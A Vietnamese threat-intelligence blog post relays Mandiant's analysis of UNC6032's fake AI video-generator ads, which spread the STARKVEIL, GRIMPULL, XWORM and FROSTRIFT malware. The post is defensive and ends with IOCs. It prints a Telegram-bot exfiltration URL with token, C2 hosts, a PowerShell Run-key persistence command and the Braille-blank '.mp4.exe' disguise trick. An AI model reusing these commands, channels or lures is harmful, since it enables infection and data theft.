Quảng cáo trên Facebook và LinkedIn Text-to-AI hay là Text-to-Malware?

Vũ Nhật LâmVũ Nhật Lâm
15 min read

Mở đầu

Từ tháng 11 năm 2024, Mandiant Threat Defense đã điều tra chiến dịch tấn công mạng của nhóm UNC6032, lợi dụng sự quan tâm đến các công cụ AI tạo video từ lời nhắc người dùng. Nhóm này tạo ra các trang web giả mạo công cụ "AI video generator" để phát tán phần mềm độc hại, bao gồm mã độc đánh cắp thông tin viết bằng Python và nhiều loại cửa hậu.

Nạn nhân thường bị lừa truy cập các trang web giả qua quảng cáo trên mạng xã hội, giả dạng là các công cụ uy tín như Luma AI, Canva Dream Lab, hay Kling AI. Mandiant đã phát hiện hàng nghìn quảng cáo liên quan đến UNC6032, tiếp cận hàng triệu người dùng trên Facebook, LinkedIn và có khả năng xuất hiện trên các nền tảng khác.

Chiến dịch này đã lấy cắp thông tin đăng nhập, cookie, dữ liệu thẻ tín dụng và thông tin Facebook qua API Telegram. Hoạt động tấn công bắt đầu ít nhất từ giữa năm 2024, ảnh hưởng đến nhiều khu vực và ngành nghề. Nhóm Google Threat Intelligence xác định UNC6032 có liên hệ với Việt Nam.

Mandiant cũng ghi nhận sự hợp tác chủ động từ Meta trong việc phát hiện và gỡ bỏ quảng cáo, tên miền và tài khoản độc hại, trong đó nhiều hành động xử lý đã được Meta thực hiện trước khi nhận được cảnh báo bổ sung từ Mandiant.

Thông tin chiến dịch

Các nhóm tấn công mạng đã nhanh chóng tận dụng làn sóng quan tâm toàn cầu đến trí tuệ nhân tạo (AI). Khi AI trở nên phổ biến trong vài năm qua, tội phạm mạng đã lợi dụng sự háo hức này để triển khai một chiến dịch lừa đảo quy mô lớn. Chúng tạo ra các trang web giả mạo, đóng vai trò như những công cụ AI tiên tiến, và quảng bá những trang này thông qua mạng lưới quảng cáo sai lệch trên mạng xã hội.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig1.max-2100x2100.png

Thông qua công cụ Ad Library, nhóm nghiên cứu đã phát hiện hơn 30 trang web khác nhau được nhắc đến trong hàng nghìn quảng cáo từ giữa năm 2024, với nội dung quảng cáo tương tự nhau. Phần lớn các quảng cáo này xuất hiện trên Facebook, chỉ một số ít được chạy trên LinkedIn. Các quảng cáo được đăng tải thông qua cả các trang Facebook do kẻ tấn công tạo ra lẫn các tài khoản Facebook bị chiếm quyền. Mandiant Threat Defense đã phân tích hơn 120 quảng cáo độc hại, và từ phần minh bạch của EU, tổng số người dùng ở các quốc gia EU tiếp cận các quảng cáo này vượt quá 2,3 triệu. Cần lưu ý rằng "độ phủ" không đồng nghĩa với số nạn nhân — theo Meta, đây là ước tính số lượng tài khoản trong Account Center đã nhìn thấy quảng cáo ít nhất một lần. Nhóm tấn công liên tục thay đổi các tên miền được nhắc đến trong quảng cáo Facebook, có khả năng nhằm tránh bị phát hiện hoặc bị khóa tài khoản. Thông thường, một tên miền mới sẽ xuất hiện trong quảng cáo chỉ sau vài ngày, thậm chí ngay trong ngày được đăng ký. Ngoài ra, hầu hết các quảng cáo đều tồn tại trong thời gian ngắn, và mỗi ngày đều có quảng cáo mới được tạo ra.

Trên LinkedIn, nhóm nghiên cứu phát hiện khoảng 10 quảng cáo độc hại, tất cả đều dẫn người dùng đến trang hxxps://klingxai[.]com. Tên miền này được đăng ký vào ngày 19 tháng 9 năm 2024 và quảng cáo đầu tiên xuất hiện chỉ một ngày sau đó. Tổng lượng hiển thị ước tính của các quảng cáo này nằm trong khoảng từ 50.000 đến 250.000. Trong mỗi quảng cáo, Hoa Kỳ là khu vực có tỷ lệ hiển thị cao nhất, dù phạm vi nhắm mục tiêu còn bao gồm cả châu Âu và Úc.

Qua quá trình điều tra, Mandiant Threat Defense nhận thấy các trang web giả mạo có giao diện tương tự nhau và đều quảng cáo các tính năng như chuyển văn bản hoặc hình ảnh thành video. Khi người dùng nhập nội dung để tạo video, bất kể nội dung gì, trang web sẽ tải về một mã độc cố định được lưu trữ trên cùng hạ tầng hoặc hạ tầng liên quan.

Mã độc được phát tán là STARKVEIL, có khả năng cài đặt ba loại mã độc theo mô-đun khác nhau, chủ yếu phục vụ cho việc đánh cắp thông tin và có thể tải thêm các plugin để mở rộng chức năng. Việc sử dụng nhiều payload tương tự nhau cho thấy đây là cơ chế dự phòng, giúp cuộc tấn công tiếp tục hoạt động ngay cả khi một số payload bị hệ thống bảo mật phát hiện hoặc chặn lại.

Luma AI

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig3.max-2100x2100.png

Mã độc Luma AI có cách thức hoạt động như sau:

1. Dụ dỗ người dùng: Các đối tượng tấn công sử dụng quảng cáo chủ đề AI trên mạng xã hội để dụ người dùng truy cập các trang web giả mạo công cụ AI, từ đó tải xuống phần mềm độc hại.

2. Mã độc: Chiến dịch sử dụng nhiều thành phần mã độc, trong đó có trình tải STARKVEIL — dùng để cài đặt backdoor XWORM, FROSTRIFT, và downloader GRIMPULL.

3. Phương thức thực thi: Mã độc tận dụng kỹ thuật DLL side-loading, dropper trong bộ nhớ, và tiêm tiến trình (process injection) để chạy payload.

4. Duy trì hiện diện: Sử dụng khóa AutoRun trong registry để kích hoạt lại hai backdoor là XWORM và FROSTRIFT khi hệ thống khởi động.

5. Chống phân tích: GRIMPULL kiểm tra các dấu hiệu của sandbox và công cụ phân tích phổ biến nhằm tránh bị phát hiện.

6. Reconnaissance:

  • XWORM và FROSTRIFT thu thập thông tin về hệ thống: hệ điều hành, tên người dùng, vai trò, phần cứng và phần mềm chống virus.

  • FROSTRIFT cũng kiểm tra sự tồn tại của các ứng dụng nhắn tin và trình duyệt nhất định.

7. Thiết lập kết nối tới máy chủ C2:

  • Tor: GRIMPULL sử dụng mạng Tor để tải về thêm các payload viết bằng .NET.

  • Telegram: XWORM gửi thông báo cùng dữ liệu trinh sát hệ thống đến kênh Telegram của kẻ tấn công.

  • TCP: Mã độc kết nối tới C2 thông qua các cổng 7789, 25699 và 56001.

8. Đánh cắp thông tin:

  • Keylogger: XWORM ghi lại thao tác bàn phím.

  • Tiện ích trình duyệt: FROSTRIFT quét 48 tiện ích mở rộng trình duyệt liên quan đến trình quản lý mật khẩu, ứng dụng xác thực và ví điện tử để đánh cắp dữ liệu.

9. Điều khiển từ xa: XWORM có khả năng thực hiện nhiều lệnh để tiếp tục kiểm soát và khai thác hệ thống bị xâm nhập.

The Lure

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig4.max-1300x1300.png

Trường hợp cụ thể này bắt đầu từ một quảng cáo trên Facebook có tên “Luma Dream AI Machine”, giả mạo công cụ AI chuyển văn bản thành video nổi tiếng Luma AI. Khi truy cập trang web giả mạo Luma AI, người dùng có thể nhấn nút “Start Free Now” và chọn các chức năng tạo video khác nhau. Tuy nhiên, dù chọn tùy chọn nào, website vẫn hiển thị cùng một lời nhắc.

Quy trình nhiều bước này được thiết kế giống hệt các công cụ tạo video AI hợp pháp, tạo cảm giác quen thuộc và không khiến người dùng nghi ngờ. Khi người dùng nhấn nút "Generate", một thanh tải xuất hiện, giả lập quá trình AI đang xử lý. Sau vài giây, khi "video mới" được cho là đã sẵn sàng, nút Download hiện ra — dẫn đến việc tải về một tập tin ZIP chứa mã độc vào thiết bị của nạn nhân.

Tập tin ZIP sẵn sàng tải về thực chất chỉ là một trong nhiều payload đã được lưu trữ sẵn trên cùng máy chủ, hoàn toàn không liên quan đến nội dung người dùng nhập vào. Trong trường hợp này, nhiều tập tin lưu trữ được đặt tại đường dẫn hxxps://lumalabsai[.]in/complete/.

Mandiant xác định rằng trang web sẽ cung cấp tập tin có thời điểm “Last Modified” gần nhất, cho thấy kẻ tấn công liên tục cập nhật các payload. Khi so sánh một số tập tin này, Mandiant nhận thấy chúng có chức năng tương tự nhau nhưng được che giấu (obfuscate) bằng các kỹ thuật khác nhau, dẫn đến sự khác biệt về kích thước.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig6.max-1200x1200.png

Tập tin ZIP đã tải về trước đó chứa một tập tin thực thi có đuôi kép – tên file có phần mở rộng là .mp4.exe, trong đó hai phần đuôi được ngăn cách bằng 13 ký tự đặc biệt Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80). Đây là một loại khoảng trắng đặc biệt thuộc khối ký tự Braille trong bảng mã Unicode, thường không hiển thị rõ ràng, giúp tập tin trông giống như một video (.mp4) thay vì một file thực thi (.exe) để đánh lừa người dùng. Tên tập tin cuối cùng, chẳng hạn như Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, được thiết kế để che giấu phần mở rộng .exe, khiến người dùng tưởng rằng đây là một file video hợp lệ. Việc chèn nhiều ký tự Braille Pattern Blank (Unicode U+2800) đẩy phần .exe ra khỏi tầm nhìn trong giao diện hiển thị thông thường của Windows.

Số lượng ký tự đặc biệt này thay đổi tùy theo từng mẫu, dao động từ 13 đến hơn 30 ký tự. Để tăng tính đánh lừa, tập tin độc hại còn sử dụng biểu tượng mặc định của file .mp4 trên Windows, càng khiến nó trông giống một video bình thường.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig7a.max-800x800.png

STARKVEIL

Tập tin thực thi Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, được Mandiant theo dõi với tên mã STARKVEIL, là một dropper được viết bằng ngôn ngữ Rust. Khi chạy, nó sẽ giải nén một tập tin lưu trữ được nhúng bên trong, chứa các chương trình hợp lệ cùng với các thành phần mã độc.

Các tệp này sau đó được sử dụng để tiêm mã độc vào nhiều tiến trình hợp pháp nhằm tránh bị phát hiện. Sau khi thực thi, mã độc hiển thị một cửa sổ lỗi nhằm đánh lừa người dùng rằng tệp bị hỏng, từ đó dụ họ thử chạy lại — tăng khả năng lây nhiễm thành công.

Để cuộc tấn công diễn ra thành công, tập tin thực thi cần được chạy hai lần. Trong lần chạy đầu tiên, nó sẽ giải nén toàn bộ các tệp nhúng vào thư mục C:\winsystem\ trên máy nạn nhân. Đây là bước chuẩn bị, giúp mã độc cài đặt các thành phần cần thiết trước khi tiếp tục thực thi các hành vi độc hại ở lần chạy thứ hai. Trong lần chạy thứ hai, tập tin thực thi chính sẽ khởi chạy Python Launcher (py.exe) với một lệnh Python đã được làm rối (obfuscated) dưới dạng đối số. Lệnh này có nhiệm vụ giải mã một đoạn mã Python được nhúng bên trong — mà Mandiant định danh là dropper COILHATCH.

Sau khi được giải mã, COILHATCH thực hiện các hành động sau:

  • Lệnh Python giải mã chuỗi Base85, giải nén bằng zlib, giải tuần tự với marshal, rồi thực thi mã Python độc hại.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig11a.max-800x800.png

  • Mã Python giai đoạn đầu sử dụng kết hợp RSA, AES, RC4 và XOR để giải mã bytecode Python giai đoạn hai.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig12.max-1500x1500.png

  • Script Python giai đoạn hai sau khi giải mã sẽ thực thi C:\winsystem\heif\heif.exe, một tệp hợp pháp có chữ ký số, để side-load một DLL độc hại — từ đó kích hoạt các thành phần mã độc khác.

https://storage.googleapis.com/gweb-cloudblog-publish/images/fake-ai-fig13a.max-700x700.png

Launcher

Khi thực thi C:\winsystem\heif\heif.exe, mã độc side-loads file heif.dll độc hại cùng thư mục. DLL này tiêm mã vào một tiến trình Windows hợp pháp bằng kỹ thuật process replacement.

Phần mã được tiêm là một file .NET có chức năng:

  • Di chuyển các thư mục từ C:\winsystem sang:

    • %APPDATA%\python

    • %APPDATA%\pythonw

    • %APPDATA%\ffplay

    • %APPDATA%\Launcher

  • Chạy 3 tiến trình hợp pháp để side-load các DLL độc hại tương ứng:

    • python.exe: avcodec-61.dll

    • pythonw.exe: heif.dll

    • ffplay.exe: libde265.dll

  • Tạo cơ chế duy trì persistence bằng khóa AutoRun:

    • Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dropbox

    • Command: "cmd.exe /c \"cd /d \"<exePath>\" && \"Launcher.exe\""

Khóa AutoRun sẽ thực thi %APPDATA%\Launcher\Launcher.exe, vốn side-load file libde265.dll độc hại. DLL này sẽ tạo và truyền mã vào tiến trình AddInProcess32.exe bằng kỹ thuật PE hollowing.

Mã độc được tiêm có nhiệm vụ chính là chạy hai tệp hợp pháp:

  • C:\winsystem\heif2rgb\heif2rgb.exe → side-load backdoor XWORM

  • C:\winsystem\heif-info\heif-info.exe → side-load backdoor FROSTRIFT

GRIMPULL

Trong ba tệp thực thi, Launcher đầu tiên chạy %APPDATA%\python\python.exe, file này side-load DLL độc hại avcodec-61.dll và tiêm mã GRIMPULL vào một tiến trình Windows hợp pháp.

GRIMPULL là một downloader viết bằng .NET, có tính năng chống máy ảo (anti-VM) và sử dụng Tor để kết nối với máy chủ điều khiển C2. GRIMPULL kiểm tra xem có tiến trình Tor đang chạy hay không. Nếu không phát hiện, nó sẽ tải xuống, giải nén và thực thi Tor từ URL sau: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-13.0.9.tar.gz, rồi sau đó sẽ chạy trên trên máy cổng 9050.

Sau đó, GRIMPULL cố gắng kết nối với máy chủ C2 qua đường hầm Tor bằng giao thức TCP tại địa chỉ:

strokes[.]zapto[.]org:7789. Mã độc duy trì kết nối này và định kỳ kiểm tra các payload .NET mới. Payload nhận được sẽ được

Các thành phần cấu hình được mã hóa dưới dạng chuỗi base64 và khi giải mã sẽ là:

XWORM

Tiếp theo, launcher chạy %APPDATA%\pythonw\pythonw.exe, side-load heif.dll và tiêm backdoor XWORM vào tiến trình Windows hợp pháp. XWORM là backdoor viết bằng .NET, giao tiếp qua TCP với giao thức nhị phân tùy chỉnh, hỗ trợ plugin để mở rộng tính năng như keylogger, thực thi lệnh, chụp màn hình và lây qua USB. Thông tin thiết lập được mã hóa AES và sau khi giải mã thì thông tin kết nối như sau:

Mã độc sau đó sẽ thu thập thông tin máy bị lây nhiễm và gửi chúng qua Telegram chat tại: hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1 owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo>

Mẫu mã độc lưu các phím đã ghi lại vào tệp %temp%\Log.tmp. Mã độc này cũng kết nối và gửi thông tin tới máy chủ C2 tại tcp://artisanaqua[.]ddnsking[.]com:25699, sau đó chờ phản hồi và thực thi các câu lệnh từ kẻ tấn công.

FROSTRIFT

Cuối cùng, launcher chạy %APPDATA%\ffplay\ffplay.exe, side-load libde265.dll và tiêm backdoor FROSTRIFT vào tiến trình hợp pháp. FROSTRIFT thu thập thông tin hệ thống, ứng dụng, ví tiền số; nhận module .NET từ registry thay vì lệnh C2, và giao tiếp C2 qua TCP/SSL dùng protobuf nén GZIP. Mã độc bắt đầu bằng cách giải mã cấu hình được nhúng dưới dạng chuỗi Base64 nén GZIP theo định dạng protobuf và sau khi giải mã sẽ là:

FROSTRIFT sẽ tạo persistence bằng câu lệnh PowerShell

powershell.exe "Remove-ItemProperty -Path 'HKCU:\SOFTWARE\
Microsoft\Windows\CurrentVersion\Run' -Name '<sample_file_name>
';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run' -Name '<sample_file_name>' -Value '""%APPDATA%
\<sample_file_name>""' -PropertyType 'String'"

Nó sẽ tự sao chép vào %APPDATA% và thiết lập persistence bằng cách thêm giá trị registry tại HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run trỏ đến file mẫu, đảm bảo chạy mỗi khi khởi động hệ thống.

Sau đó mã độc sẽ thu thập thông tin thiết bị và gửi chúng tới máy chủ C2. Kế đến nó sẽ kiểm tra xem thiết bị có sử dụng các trình duyệt sau không:

  • Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom

FROSTRIFT còn kiểm tra sự tồn tại của tiện ích trình duyệt liên quan đến trình quản lý mật khẩu, xác thực hai yếu tố và ví tiền điện tử.

FROSTRIFT nhận phản hồi từ C2 dưới dạng protobuf nén GZIP; trong tin nhắn đầu tiên, nó nhận loader_bytes và lưu vào registry tại HKCU\Software<victim_id>\registry_val. Các lần sau, chỉ registry_val được gửi để truy xuất lại loader_bytes. Mẫu gửi tin nhắn rỗng (nén GZIP) để giữ kết nối đến khi nhận được module mới.

Ngoài ra, mã độc có khả năng tải và chạy thêm payload từ các URL, gồm WebDriver2, ChromeDriver, và EdgeDriver – các công cụ thường dùng để tự động hóa trình duyệt nhưng có thể bị lạm dụng để tải mã độc (tính năng này chưa được bật trong mẫu này):

  • WebDriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll

  • chromedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe

  • msedgedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe

Khuyến nghị

Để phòng tránh và ngăn chặn kịp thời sự phát tán và lây lan của mã độc này kịp thời cũng như sự phức tạp của chiến dịch tấn công trên, phía FPT Threat Intelligence đưa ra các khuyến nghị sau:

  • Cập nhật danh sách IOC được nêu ở bên dưới đây để ngăn chặn, phát hiện kịp thời.

  • Theo dõi, cảnh báo khi phát hiện Tor, PowerShell thực thi lệnh chỉnh sửa registry, hoặc tải tệp từ GitHub tự động.

  • Cảnh báo nhân viên không tải file từ quảng cáo mạng xã hội hoặc website AI lạ.

  • Tăng cường huấn luyện nhận diện các chiến dịch phishing qua quảng cáo giả dạng như Luma AI, Canva Dream Lab, Kling AI.

  • Áp dụng chính sách quyền tối thiểu để hạn chế người dùng cài đặt hoặc thực thi phần mềm không rõ nguồn gốc.

IOC

Files:

FileSHA256Notes
Lumalabs_1926326251082123689-626.zip8863065544df546920ce6189dd3f99ab3f5d644d3d9c440667c1476174ba862bDownloaded ZIP archive
Lumalabs_1926326251082123689-626.mp4⠀.exed3f50dc61d8c2be665a2d3933e2668448edc31546fea84517f8e61237c6d2e5dSTARKVEIL
C:\winsystem\heif\heif.dll839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265bLauncher
%APPDATA%\Launcher\libde265.dll4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959Persistence
%APPDATA%\python\avcodec-61.dll8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275ccGRIMPULL
%APPDATA%\pythonw\heif.dlla0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3XWORM
C:\winsystem\heif-info\heif.dll1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebebXWORM
%APPDATA%\ffplay\libde265.dlldcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3FROSTRIFT
C:\winsystem\heif2rgb\heif.dlle663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822FROSTRIFT

Domains

Domain
strokes.zapto[.]org:7789
artisanaqua[.]ddnsking[.]com:25699
strokes.zapto[.]org:56001

Fake AI Domains

Domain
creativepro[.]ai
boostcreatives[.]ai
creativepro-ai[.]com
boostcreatives-ai[.]com
creativespro-ai[.]com
klingxai[.]com
lumaai-labs[.]com
klings-ai[.]com
luma-dream[.]com
quirkquestai[.]com
lumaai-dream[.]com
lumaai-lab[.]com
lumaaidream[.]com
lumaailabs[.]com
luma-dreamai[.]com
ai-kling[.]com
dreamai-luma[.]com
aikling[.]ai
aisoraplus[.]com
lumalabsai[.]in
canvadream-lab[.]com
canvadreamlab[.]com
adobe-express[.]com
canva-dreamlab[.]com
canvadreamlab[.]ai
canvaproai[.]com
capcutproai[.]com
luma-aidream[.]com
luma-dreammachine[.]com

Telegram

hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1 owtgo24fcO0

Tham khảo

0
Subscribe to my newsletter

Read articles from Vũ Nhật Lâm directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Vũ Nhật Lâm
Vũ Nhật Lâm